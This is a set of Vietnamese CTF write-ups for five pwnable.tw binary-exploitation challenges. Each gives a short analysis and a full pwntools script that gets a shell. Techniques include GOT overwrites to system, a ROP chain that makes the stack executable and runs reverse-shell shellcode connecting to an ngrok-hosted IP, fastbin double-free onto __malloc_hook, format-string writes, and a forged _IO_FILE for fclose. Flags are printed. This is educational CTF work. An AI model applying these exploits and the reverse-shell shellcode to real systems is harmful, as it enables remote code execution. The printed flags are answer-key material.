[applestore](https://pwnable.tw/static/chall/applestore)
[libc.so](https://pwnable.tw/static/libc/libc_32.so.6)
- basic file check

- check ida

>**main()**

>**menu()**

>**handler()**

>**list()**

>**add()**
>thực hiện 2 hàm **create()** và **insert()**

>**create()**
>tạo 1 chunk 0x10 size 0x20 trả về 1 con trỏ **ptr**
>gắn giá tiền sản phẩm ở **ptr[1]**
>ở **ptr[2]** và **ptr[3]** gắn 0

>**insert()**
>thêm vào gió hàng theo kiểu fd và bk (double link-list)
>vòng for để chạy đến cuối giỏ hàng
>``i[2] = ptr`` (fd)
>``*(ptr+12) = i`` (bk)

>**delete()**
> xoá sản phầm bằng phép gán bình thường
> xoá fd và bk của sản phẩm đó
> ===> không có hàm **free**

>**cart()**
>tính tổng tiền trong giỏ hàng

>**checkout()**
>nếu tổng giá trị giỏ hàng đúng bằng 7174
>nhận được iPhone 8 với giá 1$
>tự động thêm vào giỏ hàng và tăng tổng giá trị tiền hàng lên 7175
### analyse
- từ ida, ta có thể đưa ra nhận xét về cấu trúc khi **add()** 1 sản phẩm
```c
struct product{
char *name;
int price;
product *fd;
product *bk;
}
```
* 1. hàm **delete()** không có **free** nên hoàn toàn không thể khai thác DBF hoặc UAF
* 2. trong hàm **checkout()** lại không có hàm **create()** để tạo heap, dùng trực tiếp **insert()** để gán fd và bk

==> data nằm trên stack
===> control được dữ liệu
* 3. đối chiếu biến trên stack

> **checkout()**

> **delete()**
- mô phỏng qua bảng sau
| func | checkout() | stack | delete() | func |
|:-------------------------------:|:----------------- |:--------:|:--------:|:----------------:|
| | | ebp-0x30 | v3 | v3 = atoi(v6); |
| | | ebp-0x22 | v6 | my_read(v6, 21); |
| asprintf(v2, "%s", "iPhone 8"); | ``product.name`` | ebp-0x20 | | // can ow |
| v3 = 1; | ``product.price`` | ebp-0x1c | | // can ow |
| insert((int)v2); | ``product.fd`` | ebp-0x18 | | // can ow |
| insert((int)v2); | ``product.bk `` | ebp-0x14 | | // can ow |
### get through **checkout()**
- muốn số tiền đúng với 7174, ta làm phép toán đơn giản để loại trừ
```
4 loại giá : 199, 299, 399, 499 (đuôi 9)
7174 có đuôi 4 ---> đuôi 9 phải nhân với 6
# 499*n ≤ 7174 ---> n = 6 (2994) 👍 ; n = 16 (7984) 👎
7174 - 2994 = 4180 (không thoả)
# 399*n ≤ 7174 ---> n = 6 (2394) 👍 ; n = 16 (6384) 👍
7174 - 2394 = 4780 (không thoả)
7174 - 6384 = 790 (không thoả)
# 299*n ≤ 7174 ---> n = 6 (1794) 👍 ; n = 16 (4784) 👍
7174 - 1794 = 5380 , 5380 (không thoả)
# 199*n ≤ 7174 ---> n = 6 (1194) 👍 ; n = 16 (3184) 👍 ; n = 26 (5174) 👍
7174 - 1194 = 5980 ; 5980 / 20 = 299 (thoả)
```
- ta sẽ thêm vào giỏ hàng **20** cái 'iPhone 6 Plus' giá 299💲 và **6** cái 'iPhone 6' giá 199💲
==> tổng tiền hàng = 7174
===> có 'iPhone 8' giá 1💲
### leak libc
- như ta thấy trong hàm **delete()** có chức năng in ra ptr (v2)
``printf("Remove %d:%s from your shopping cart.\n", v1, *(const char **)v2);``
- ta sẽ ow lên v2 thành ``puts@got``

> có 2 byte sẽ nằm trong con số khi chuyển đổi qua **atoi()**
> sau đó nó sẽ ghi đè lên ptr(v2)
- đến đây ta sẽ leak được libc
### system + '||sh'
- tương tự khi khi đè ``@got`` của 1 hàm thành **system** để khi thực thi hàm đó sẽ gọi **system** lên với tham số mình truyền vào
- vậy thì ở đây chọn ``atoi@got`` là hợp lí nhất (khi trở về **handler()** có **atoi**, lại có thể truyền '||sh' vào)
- nhưng ở đây để ghi đè như thế, ta cần xử lí một chút ở đoạn này

> ở đây không còn nghĩa xoá nữa
> do ta có thể control được stack
> đoạn code trên là thay đổi kiểu BK->fd = FD và ngược lại
- ta sẽ xem khi return về **handler()**

> v1 : ebp-0x22
- lúc này khi return về, nó sẽ lấy tham số ở ebp rồi trừ 0x22 và tại đó sẽ ghi đè data
- ta sẽ hô biến tại ebp-0x22 là ``atoi@got`` sau đó data truyền vào là ``libc.sym['system']``
- kế **system** sẽ là '||sh'
#### exchange ebp-0x22 & atoi@got
- đồng nghĩa trao đổi ``$ebp`` thành ``atoi@got+0x22``
- ta sẽ dựa vào chức năng của **delete()** để đổi 2 giá trị trên
- ngoài ra do còn ``leave ; ret`` nên ta phải lui $ebp thêm 0x8
| checkout() | stack | payload | delete() |
|:----------------- |:--------:|:---------------:|:--------:|
| | ebp-0x22 | 'số_2_chữ_số' | v6 |
| ``product.name`` | ebp-0x20 | 0x0 | |
| ``product.price`` | ebp-0x1c | 0x0 | |
| ``product.fd`` | ebp-0x18 | atoi@got + 0x22 | |
| ``product.bk`` | ebp-0x14 | ebp - 0x8 | |
- ô!!!
- thế thì ta phải leak cả stack
- tận dụng sau khi leak libc thành công, ta sẽ leak địa chỉ ``__environ`` của libc
- cách leak tương tự như leak libc
- sau khi leak xong, ta sẽ tính offset đến $ebp trong hàm **delete()**

### get flag

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./applestore_patched', checksec=False)
libc = ELF('./libc_32.so.6',checksec=False)
ld = ELF('./ld-2.23.so',checksec=False)
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
# b*create+79
# b*insert+52
b*checkout+98
b*delete+71
b*delete+101
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('chall.pwnable.tw', 10104)
else:
p = process(exe.path)
GDB()
def add(idx):
sla(b'> ',b'2')
sla(b'> ',idx)
def delete(data):
sla(b'> ',b'3')
sla(b'> ',data)
def checkout():
sla(b'> ',b'5')
sla(b'> ',b'y')
# myCart = 0x804b068
for i in range(20):
add(b'2')
for i in range(6):
add(b'1')
checkout()
payload = b'27' + p32(exe.got['puts'])
delete(payload)
p.recvuntil(b'27:')
libc_leak = u32(p.recv(4))
libc.address = libc_leak - libc.sym['puts']
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))
payload = b'27' + p32(libc.sym['__environ'])
delete(payload)
p.recvuntil(b'27:')
stack_leak = u32(p.recv(4))
need = stack_leak - 0x104 - 0x8
info("stack leak: " + hex(stack_leak))
info("stack need: " + hex(need))
payload = b'27' + p32(0)*2 + p32(exe.got['atoi']+0x22) + p32(need)
delete(payload)
payload = p32(libc.sym['system']) + b'||sh'
sla(b'> ',payload)
p.interactive()
#FLAG{I_th1nk_th4t_you_c4n_jB_1n_1ph0n3_8}
```
>FLAG{I_th1nk_th4t_you_c4n_jB_1n_1ph0n3_8}
---
## Kidding [400 pts]
- description
Can you get a shell for me?
Just kidding, it's unexploitable.
``nc chall.pwnable.tw 10303``
[kidding](https://pwnable.tw/static/chall/kidding)
- basic file check

- check ida

> **main()**
> vỏn vẹn nhiu đó hoi
> read 100 byte sau đó đóng hết stdin, stdout và stderr
### stack prot
- thực ra ngoài hàm **main()** thì có 1 số hàm đáng lưu tâm


> **_dl_make_stack_executable()**
- nhìn qua thì có hàm **mprotect()** để set quyền
- ta cần **_stack_prot** mang giá trị 7 để hàm **mprotect()** đó cho ta quyền execution
- để qua hàm **if** check rồi tới **mprotect()**, ta cần $eax (**a1**) là **_libc_stack_end**
- cuối cùng ta sẽ thực thi shellcode
- đầu tiên cần đưa **7** vào **_stack_prot**
- tìm các gadget:

> mov_eax_7 = 0x0808eff0
> gắn 7 cho $eax

> xor = 0x080e00e0
> xor [$ebp+0xe] với $al
- sau đó gọi **_libc_stack_end** để set **_stack_prot** rồi gọi 1 thanh ghi thực thi shellcode

>call_esp = 0x080c99b0
### shellcode
```python
pop_eax = 0x080b8536
pop_ebx = 0x080481c9
pop_ecx = 0x080583c9
pop_edx = 0x0806ec8b
syscall = 0x080626cd
rw_section = 0x080e9a00
mov_eax_7 = 0x0808eff0
xor = 0x080e00e0
stack = exe.sym['_dl_make_stack_executable']
call_esp = 0x080c99b0
payload = b'ABCD'
payload += b'EFGH'
payload += p32(exe.sym['__stack_prot']-0xe) #ebp
payload += p32(mov_eax_7)
payload += p32(xor)
payload += p32(pop_eax) + p32(exe.sym['__libc_stack_end'])
payload += p32(stack)
payload += p32(call_esp) #execute shellcode
```
### reopen socket
- vì chall đã close hết các fd nên dù ta viết shell execve thì command cũng chả có tác dụng gì
- nên ta sẽ tạo socket mới để connect tới ip mới
- có 2 loại là server và client:
- client thì chỉ thực hiện một lệnh duy nhất sau khi mở socket là connect
- còn đối với tạo server thì có nhiều bước
> gồm bind, set port và listen là mở port lên để đợi connect
- cho dễ thì ta sẽ chọn client
- ta sẽ public 1 ip nhằm mục đích điều hướng shell trên server về shell trên local
### revere shell
- ta cần tạo 1 public IP
- nên sẽ sử dụng tool **ngrok** trên Linux
> phải cài qua link https://ngrok.com/ (sign_up các kiểu)
- tạo 1 kết nối: ``ngrok tcp 8080``
- dựa vào port có được từ tạo public IP trên sẽ viết shellcode [**connect**](https://www.geeksforgeeks.org/socket-programming-cc/)
> addr = IP + port + AF_INET
> vd 192.168.0.224 -> đổi sang hex từng số, đảo byte
> port 8080 -> đổi sang hex, đảo byte
> AF_INET = 0x0002 (2 byte)
> phải đảo byte vì kiểu dữ liệu little-edian
```python
shellcode = asm('''
mov eax, 0x167
xor ebx, ebx
add bl, 0x2
xor ecx, ecx
add cl, 0x1
;//socket(2,1,0)
loop:
xor edx, edx
int 0x80
;//connect(sockfd,addr,len)
mov bl, al
push edx
push 0xd6098b12
push 0x184b0002
mov ecx, esp
mov dl, 0x10
mov eax, 0x16a
int 0x80
push 0x0068732f
push 0x6e69622f
mov ebx, esp
mov al, 0xb
xor ecx, ecx
jmp loop
''')
```
### get flag
- tới đây hơi ảo xíu, ta cần điều hướng stdout sang socketfd
> socketfd có thể thấy khi DEBUG trên local (chạy shellcode)
- và đọc flag cần qua 1 file binary
> đọc source C mới hiểu cách đọc flag (dễ lắm)

- script:
```python
#!/usr/bin/python3
from pwn import *
import struct
context.binary = exe = ELF('./kidding',checksec=False)
context.arch = 'i386'
p = remote('chall.pwnable.tw',10303)
# p = process(exe.path)
# gdb.attach(p,gdbscript='''
# b*main+14
# b*main+19
# b*main+58
# c
# ''')
# input()
pop_eax = 0x080b8536
pop_ebx = 0x080481c9
pop_ecx = 0x080583c9
pop_edx = 0x0806ec8b
syscall = 0x080626cd
rw_section = 0x080e9a00
mov_eax_7 = 0x0808eff0
xor = 0x080e00e0
stack = exe.sym['_dl_make_stack_executable']
call_esp = 0x080c99b0
payload = b'ABCD'
payload += b'EFGH'
payload += p32(exe.sym['__stack_prot']-0xe)
payload += p32(mov_eax_7)
payload += p32(xor)
payload += p32(pop_eax) + p32(exe.sym['__libc_stack_end'])
payload += p32(stack)
payload += p32(call_esp)
shellcode = asm('''
mov eax, 0x167
xor ebx, ebx
add bl, 0x2
xor ecx, ecx
add cl, 0x1
;//socket(2,1,0)
loop:
xor edx, edx
int 0x80
;//connect(sockfd,addr,len)
mov bl, al
push edx
push 0xd6098b12
push 0x184b0002
mov ecx, esp
mov dl, 0x10
mov eax, 0x16a
int 0x80
push 0x0068732f
push 0x6e69622f
mov ebx, esp
mov al, 0xb
xor ecx, ecx
jmp loop
''')
p.send(payload+shellcode)
p.interactive()
#FLAG{Ar3_y0u_k1dd1ng_m3}
```
>FLAG{Ar3_y0u_k1dd1ng_m3}
---
## Secret Garden [350 pts]
- description:
Find the flag in the garden.
``nc chall.pwnable.tw 10203``
[secretgarden](https://pwnable.tw/static/chall/secretgarden)
[libc.so](https://pwnable.tw/static/libc/libc_64.so.6)
- basic file check

- check ida (renamed)

>**main()**

>**menu()**

>**add()**

>**show()**

>**delete()**

>**clear()**
### analyse
- nhìn sơ qua chức năng của program:
- **Raise a flower**:
- malloc(0x28) -> prompt ``flower->size`` and ``flower->name ``
- malloc(size) -> prompt ``flower->color``
- set ``flower->is_used`` = 1
- limit 100 flowers
- **Visit the garden**:
- display ``flower->color``
- only display if ``flower->is_used`` equal
- **Remove a flower from the garden**:
- free ``flower->name``
- set ``flower->is_used`` = 0
- not set ptr = NULL ---> DBF vuln
- **Clean the garden**:
- iterates free all flowers
- **Leave the garden**:
- exit the program
- từ IDA, có thể thấy struct của 1 ``flower`` như sau:
```c
struct flower {
long is_used;
char *name;
char color[24];
}
```
### leak libc
- ở option1, ta có thể chọn size thoải mái (chỉ giới hạn số lượng)
- cách leak libc thì đơn giản thôi
- tạo chunk size vừa đủ, xoá chunk (vào ubin) rồi tạo lại chunk (size hợp lí) ghi nối chuỗi với **main_area** rồi in ra
>nối chuỗi vs bk_pointer
```python
add(0x400, b'A'*4, b'A'*4) #0
add(0x100, b'C'*4, b'C'*4) #1
add(0x400, b'B'*4, b'B'*4) #2
add(0x400, b'd'*4, b'D'*4) #3
delete(2) #idx2
add(0x200,b'A'*8, b'A'*8) #4
show()
p.recvuntil(b'[4] :')
p.recvuntil(b'A'*8)
libc_leak = u64(p.recv(6)+b'\0\0')
libc.address = libc_leak - 0x3c3b78
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))
```
### malloc_hook + one_gadget
- tới bước này ta chỉ cần trigger DBF trên fastbin với idx là 0x70
- vì ở ``__malloc_hook - 35`` là 1 fake chunk có size 0x7f (làm tròn xuống 0x70)
- sau đó ow thành one_gadget
- để có shell ta cần trigger lỗi Aborted là xong
> trigger bằng cách DBF

### get flag

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./secretgarden_patched', checksec=False)
libc = ELF('./libc_64.so.6', checksec=False)
ld = ELF('./ld-2.23.so', checksec=False)
def GDB(): #turn on NOALSR
if not args.REMOTE:
gdb.attach(p, gdbscript='''
# b*0x555555400da1
# b*0x555555400fe0
# b*0x555555400e74
# c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('chall.pwnable.tw',10203)
else:
p = process(exe.path)
# GDB()
def add(size,name,color):
sla(b'choice : ',b'1')
sla(b'name :',str(size))
sa(b'flower :',name)
sla(b'flower :',color)
def show():
sla(b'choice : ',b'2')
def delete(idx):
sla(b'choice : ',b'3')
sla(b'garden:',str(idx))
def clean():
sla(b'choice : ',b'4')
### leak libc
add(0x400, b'A'*4, b'A'*4) #0
add(0x100, b'C'*4, b'C'*4) #1
add(0x400, b'B'*4, b'B'*4) #2
add(0x400, b'd'*4, b'D'*4) #3
delete(2) #idx2
add(0x200,b'A'*8, b'A'*8) #4
show()
p.recvuntil(b'[4] :')
p.recvuntil(b'A'*8)
libc_leak = u64(p.recv(6)+b'\0\0')
libc.address = libc_leak - 0x3c3b78
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))
fastbin_size = 0x60
add(fastbin_size,b'aaaa',b'aaaa') #5
add(fastbin_size,b'bbbb',b'bbbb') #6
delete(5) #idx5
delete(6) #idx6
delete(5) #idx5 5->6->5
gadget = [0x45216,0x4526a,0xef6c4,0xf0567]
one_gadget = libc.address + gadget[2]
malloc_hook = libc.sym['__malloc_hook'] - 35
add(fastbin_size,p64(malloc_hook),b'cccc') #7
#6->5->hook
add(fastbin_size,b'dddd',b'dddd') #junk6 #8
#5->hook
add(fastbin_size,b'eeee',b'eeee') #junk5 #9
payload = b'A'*19 + p64(one_gadget)
add(fastbin_size,payload,b'cccc') #10
delete(9)
delete(9) #trigger aborted
p.interactive()
#FLAG{FastBiN_C0rruption_t0_BUrN_7H3_G4rd3n}
```
>FLAG{FastBiN_C0rruption_t0_BUrN_7H3_G4rd3n}
---
## Re-alloc [200 pts]
- description
I want to realloc my life :)
``nc chall.pwnable.tw 10106``
[re-alloc](https://pwnable.tw/static/chall/re-alloc)
[libc.so](https://pwnable.tw/static/libc/libc-9bb401974abeef59efcdd0ae35c5fc0ce63d3e7b.so)
- basic file check

- check ida

>**main()**

>**menu()**

>**allocate()**

>**reallocate()**

>**rfree()**
### analyse
- case1: tạo chunk ptr (tối đa 2 chunks)
- case2: sửa chunk ptr
- case3: xoá chunk ptr
- case4: thoát chương trình
- BUG nằm ở **realloc**, nếu **size** = 0 thì **realloc** tương tự **free**
- ở case3 **free** bình thường bao gồm xoá con trỏ **ptr**, nhưng chỉ cần **free** mà không xoá sẽ có UAF vuln
### leak libc
- vấn đề tiếp theo là là leak libc
- hiện không thể BOF như bình thường, cũng như chả có chức năng nào chương trình in ra content của chunk cả
- ta sẽ tấn công GOT thôi
- dựa vào UAF, ta sẽ duplicate tcache, ghi ``printf@PLT`` vào ``atoll@GOT``
>libc ver 2.29 -> còn security check ở bk_pointer
>bypass DBF bằng cách ow NULL
- vậy chỉ cần mỗi lần thực hiện **atoll**, ta chỉ cần truyền vào FMTSTR là có thể leak thoải mái

> libc leak ở %23
### one_gadget
- và cũng từ lỗi FMTSTR đó mà ta sẽ ow ``exit@GOT`` thành one_gadget
- ta cần phải leak stack rồi từ đó FMTSTR ow thôi

### get flag

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./re-alloc_patched',checksec=False)
libc = ELF('./libc-9bb401974abeef59efcdd0ae35c5fc0ce63d3e7b.so',checksec=False)
ld = ELF('./ld-2.29.so',checksec=False)
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*menu+119
b*read_long+62
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('chall.pwnable.tw',10106)
else:
p = process(exe.path)
def add(idx, size, data):
sla(b'Your choice: ',b'1')
sla(b'Index:',str(idx))
sla(b'Size:',str(size))
sa(b'Data:',data)
def edit(idx, size, data):
sla(b'Your choice: ',b'2')
sla(b'Index:',str(idx))
sla(b'Size:',str(size))
if size == 0:
return
sa(b'Data:',data)
def delete(idx):
sla(b'Your choice: ',b'3')
sla(b'Index:',str(idx))
def fmt_leak(idx):
sla(b'Your choice: ',b'1')
sa(b'Index:',f'%{idx}$p')
return p.recv(14)
def fmt_write(idx, value):
sla(b'Your choice: ',b'1')
sa(b'Index:',f'%{value}c%{idx}$hhn'.ljust(16))
add(0,0x18,b'aaaa')
edit(0,0,b'') #free
edit(0,0x18,b'\0'*0x10) #modify bk_pointer
delete(0) #DBF
add(0,0x18,p64(exe.got['atoll'])) #junk->got@atoll
add(1,0x18,b'aaaa') #got@atoll
edit(1,0x28,b'AAAA') #fake_size 0x30
delete(1)
add(1,0x18,p64(exe.plt['printf'])) #realloc(NULL,0x18)
libc_leak = int(fmt_leak(23),16)
libc.address = libc_leak - 0x26b6b
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))
stack_leak = int(fmt_leak(18),16)
info("stack leak: " + hex(stack_leak))
GDB()
for i in range(3):
fmt_write(12, (stack_leak & 0xff) + i)
fmt_write(18, p64(exe.got['_exit'])[i])
gadget = [0xe21ce,0xe21d1,0xe21d4,0xe237f,0xe2383,0x106ef8]
one_gadget = libc.address + gadget[4]
fmt_write(12, stack_leak & 0xff) #turn back
for i in range(6):
fmt_write(18, (exe.got['_exit'] & 0xff) + i)
fmt_write(22, p64(one_gadget)[i])
p.sendline(b'4') #exit
p.interactive()
#FLAG{r3all0c_the_memory_r3all0c_the_sh3ll}
```
>FLAG{r3all0c_the_memory_r3all0c_the_sh3ll}
---
## seethefile [250 pts]
- description:
Can you see anything?
Get a shell for me.
``nc chall.pwnable.tw 10200``
[seethefile](https://pwnable.tw/static/chall/seethefile)
[libc.so](https://pwnable.tw/static/libc/libc_32.so.6)
- basic file check

- check ida

>**main()**

>**openfile()**
> bị cấm mở file "flag"

>**readfile()**
>đọc 1 phần tử có 399 byte từ file mở hiện tại
>lưu vào **magicbuf**

>**writefile()**
>nếu data in ra có kí tự 'flag" hay "FLAG" thì exit

>**closefile()**
### analyse
- case1 -> case4 như trên
- case5 là thoát, nhưng trước đó có input thêm

- note lại 1 số địa chỉ cần thiết

>**magicbuf** = 0x804b0c0

>**name** = 0x804b260
>**fp** = 0x804b280
### /proc/self/maps
- không thể đọc flag, đồng thời ở description yêu cầu lấy shell
- phải leak libc rồi system thôi
- trong linux, ``/proc/self/maps`` là một tệp ảo cung cấp thông tin về memory map của tiến trình hiện tại (giống ``vmmap`` trên gdb)
- ta sẽ **readfile()** 2 lần và **writefile()** ra
> do ta cần đọc 2 phần tử
> nếu chỉ 1 thì in ra chỉ có vùng memory của exe
> 
> đọc lần 2 sẽ đi vào libc
> 
### _IO_FILE attack
- như đã nói, case5 có input lần cuối rồi mới exit

> có BOF từ scanf %s
- khả năng tràn xuống **fp** khả thi

- vậy ta sẽ attack _IO_FILE struct khi nhập xong **name**, có 1 bước tác động đến **fp** là ``fclose(fp)``

> không phải _IO_FILE_plus nên thay đổi vtable không có nghĩa
> chỉ còn là _IO_FILE thôi
> [source](https://elixir.bootlin.com/glibc/glibc-2.23/source/libio/oldiofclose.c#L36)
```c
int
attribute_compat_text_section
_IO_old_fclose (_IO_FILE *fp)
{
int status;
CHECK_FILE(fp, EOF);
/* We desperately try to help programs which are using streams in a
strange way and mix old and new functions. Detect new streams
here. */
if (fp->_vtable_offset == 0)
return _IO_new_fclose (fp);
/* First unlink the stream. */
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
_IO_un_link ((struct _IO_FILE_plus *) fp);
_IO_acquire_lock (fp);
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
status = _IO_old_file_close_it (fp);
else
status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
_IO_release_lock (fp);
_IO_FINISH (fp);
if (_IO_have_backup (fp))
_IO_free_backup_area (fp);
if (fp != _IO_stdin && fp != _IO_stdout && fp != _IO_stderr)
{
fp->_IO_file_flags = 0;
free(fp);
}
return status;
}
```
- coi source trên, ta cần phải thoả mãn bit ``_IO_IS_FILEBUF`` là chưa được set
> cần bypass qua _IO_un_link
> [define](https://hackmd.io/@trhoanglan04/SJWrxsQs2#define-vars)
- bit đầu là 0x2000 -> bitwise NOT là 0xDFFF
> flags = 0xFFFFDFFF
- sau cái flags sẽ truyền ``b';/bin/sh\0'``
> thêm ';' vì khi vào **system** file 32
> nó sẽ ``sub esp, 0xc`` rồi ``mov eax,[esp + 0x10]``
> 
> vị trí đó là flags, lệnh cmd flags đó không có nghĩa
- tiếp theo khi DEBUG, nhảy vào hàm **fclose** rồi thì thấy nó sẽ nhảy vào 1 địa chỉ tăng thêm 8

- từ đó tăng giảm padding của payload rồi ngay địa chỉ đó khi nhảy là hàm **system**
### get flag
- sau khi có shell ở server, ta phải thêm 1 bước đọc source lấy flag (cũng không khó)
> phải kiểm tra bằng ``ls -al`` trong thư mục ``/home`` mới biết =))

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./seethefile_patched', checksec=False)
libc = ELF('./libc_32.so.6',checksec=False)
ld = ELF('./ld-2.23.so',checksec=False)
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*main+169
b*main+216
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('chall.pwnable.tw', 10200)
else:
p = process(exe.path)
def openfile(path):
sla(b'choice :',b'1')
sla(b'see :',path)
def readfile():
sla(b'choice :',b'2')
def writefile():
sla(b'choice :',b'3')
def closefile():
sla(b'choice :',b'4')
def exit(name):
sla(b'choice :',b'5')
sla(b'name :',name)
name = 0x804b260
fp = 0x804b280
openfile(b'/proc/self/maps')
readfile()
readfile()
writefile()
# p.recvuntil(b'[heap]\n') #local
p.recvline() #server
libc.address = int(b'0x' + p.recvuntil(b'-',drop=True),16)
info("libc base: " + hex(libc.address))
system = libc.sym['system']
GDB()
payload = b'a'*0x20 #padding
payload += p32(fp+4) #fp
payload += p32(0xffffdfff) #fp+4 ->flags
payload += b';/bin/sh\0' + b'a'*3 #fp+16
payload += b'a'*60
payload += p32(fp+4+12+60)
payload += p32(system)
exit(payload)
# p.recvuntil(b'time\n')
# p.sendline(b'./home/seethefile/get_flag')
# p.recv()
# p.sendline(b'Give me the flag')
p.interactive()
#FLAG{F1l3_Str34m_is_4w3s0m3}
```
>FLAG{F1l3_Str34m_is_4w3s0m3}
---